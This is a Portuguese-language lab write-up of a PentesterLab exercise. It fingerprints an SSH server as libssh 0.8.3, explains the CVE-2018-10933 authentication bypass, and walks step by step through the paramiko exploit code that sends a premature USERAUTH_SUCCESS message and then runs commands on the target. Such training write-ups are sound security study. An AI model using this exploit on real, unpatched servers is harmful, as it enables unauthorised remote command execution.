Estou iniciando uma série de artigos sobre
análise de serviço
pentesterlab . Infelizmente, não tenho uma versão Pro do curso, por isso estou limitado apenas à lista de tarefas gratuitas. Cada caso é um sistema que contém uma vulnerabilidade que deve ser explorada para atingir um objetivo específico.
Libssh auth bypass
O caso inclui um host (máquina virtual) com o serviço SSH em execução. O desafio é obter o controle da máquina através do desvio de autenticação SSH. Imagine que não sabemos qual implementação de SSH está no servidor e qual vulnerabilidade precisamos explorar.
Como descobrir? A primeira coisa que vem à mente é usar o scanner de rede nmap com a opção -sV:
~$ nmap 192.168.0.89 -p 22 -sV Nmap scan report for 192.168.0.89 Host is up (0.00100s latency). PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.60%I=7%D=3/2%Time=5C7A9190%P=x86_64-pc-linux-gnu%r(NULL, SF:16,"SSH-2\.0-libssh_0\.8\.3\r\n");
No relatório, o nmap relata que o serviço é desconhecido para ele. Mas, depois de examinar a impressão digital do serviço, podemos ver a linha de identificação do servidor, na qual é óbvio que a porta está escutando no LibSSH versão 0.8.3.
Fatiado a partir da RFC-4253:
Imediatamente após o estabelecimento da conexão, o cliente e o servidor trocam mensagens do formulário:
Comentários SSH-protoversion-softwareversion
O campo protoversão indica a versão do protocolo. Como a segunda versão do SSH é atualmente relevante, o campo deve conter o valor "2.0". O campo softwareversion contém o nome e a versão da implementação do protocolo usada principalmente para iniciar extensões, compatibilidade e uma indicação dos recursos de implementação. O campo de comentários é opcional; indica informações adicionais que podem ajudar a resolver problemas do usuário.
Da mesma forma, podemos obter essa linha usando o utilitário telnet:
$ telnet 192.168.0.89 22 Trying 192.168.0.89... Connected to 192.168.0.89. Escape character is '^]'. SSH-2.0-libssh_0.8.3 Bye ByeConnection closed by foreign host.
Ou acesse o WireShark:

As pesquisas do Google nos levam à vulnerabilidade CVE-2018-10933, que afeta as versões do LibSSH de 0.7.6 a 0.8.4. Para entender, falarei brevemente sobre autenticação de cliente usando SSH. Após o estabelecimento da conexão, o cliente e o servidor concordam com um segredo chamado
Session Key , que será usado para criptografia durante a sessão.Além disso, a autenticação pode ser dividida em vários estágios, que são criptografados:
- O cliente envia ao servidor uma mensagem SSH_MSG_USERAUTH_REQUEST contendo o nome de usuário, o nome do método de autenticação e os campos adicionais. O servidor pode aceitar a solicitação ou rejeitá-la com uma mensagem com o código SSH_MSG_USERAUTH_FAILURE, se o método de autenticação proposto não for suportado.
- O segundo passo depende diretamente do método de autenticação. No caso de autenticação de senha, o cliente envia a senha no primeiro estágio e aguarda a confirmação do servidor. Na autenticação com chaves públicas, a chave pública e a assinatura são enviadas com a chave privada. O servidor verifica se ele possui esse usuário, com uma chave pública e se a chave pública da assinatura corresponde ... Ainda existe um método de autenticação por host, mas raramente é usado, todos os métodos de autenticação podem ser lidos detalhadamente no RFC-4252 ( russo , inglês )
- Na terceira etapa, o cliente espera autenticação do servidor. O servidor envia uma mensagem com o código SSH_MSG_USERAUTH_SUCSESS se ele aceitar autenticação ou SSH_MSG_USERAUTH_FAILURE se ele rejeitar.
Há um erro na seção de código responsável pela verificação do código da mensagem que permite ao servidor receber a mensagem SSH_MSG_USERAUTH_SUCSESS. O uso dessa lacuna pode ignorar o processo de autenticação.
O GitHUb tem muitas explorações prontas para esta vulnerabilidade, portanto, não reinventaremos a roda e consideraremos esta (agradeço ao autor do script).
O script é escrito em python usando o módulo
paramiko - Python (2.7, 3.4+) do protocolo SSHv2, que fornece a funcionalidade do cliente e do servidor. Vamos analisar as seções de código em que estamos interessados:
sock = socket.socket() sock.connect((host,int(port)))
Esta linha cria um soquete e se conecta ao servidor. O que é um soquete está muito bem descrito
aqui .
message = paramiko.message.Message()
Esta classe de mensagem é SSH2. É um conjunto de números de linha e variáveis do tipo bool, coletados em um fluxo de bytes.
transport = paramiko.transport.Transport(sock) transport.start_client()
Esta classe é um meio de interagir com o protocolo SSH. Nós o criamos e nos conectamos imediatamente no modo cliente.
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message)
O parâmetro paramiko.common.cMSG_USERAUTH_SUCCESS é o número 52, colocado em um byte. Este é o código da mensagem MSG_USERAUTH_SUCCESS. Enviamos esta mensagem para o servidor.
cmd = transport.open_session() cmd.exec_command(command)
Criamos um novo canal e enviamos imediatamente o comando, escrito como uma string no comando.
out=cmd.makefile("rb",222048) output=out.read() out.close() print (output)
O método makefile cria um wrapper de arquivo ao redor do pipe. "Rb" - modo de acesso de byte lido, 222048 - tamanho do buffer. Out obtém o resultado do comando que enviamos, que imprimimos via print (). Com out.close (), encerramos a conexão.
Resta executar este script, indicando o endereço IP da máquina virtual baixada e em execução anteriormente e o comando que queremos executar em nossa vítima. Eu tentei especificar comandos diferentes, e aqui está o resultado:
A conclusão do resultado é um pouco desajeitada, se necessário, você pode corrigi-lo. Mas, em geral - a tarefa pode ser considerada concluída.
Para continuar ...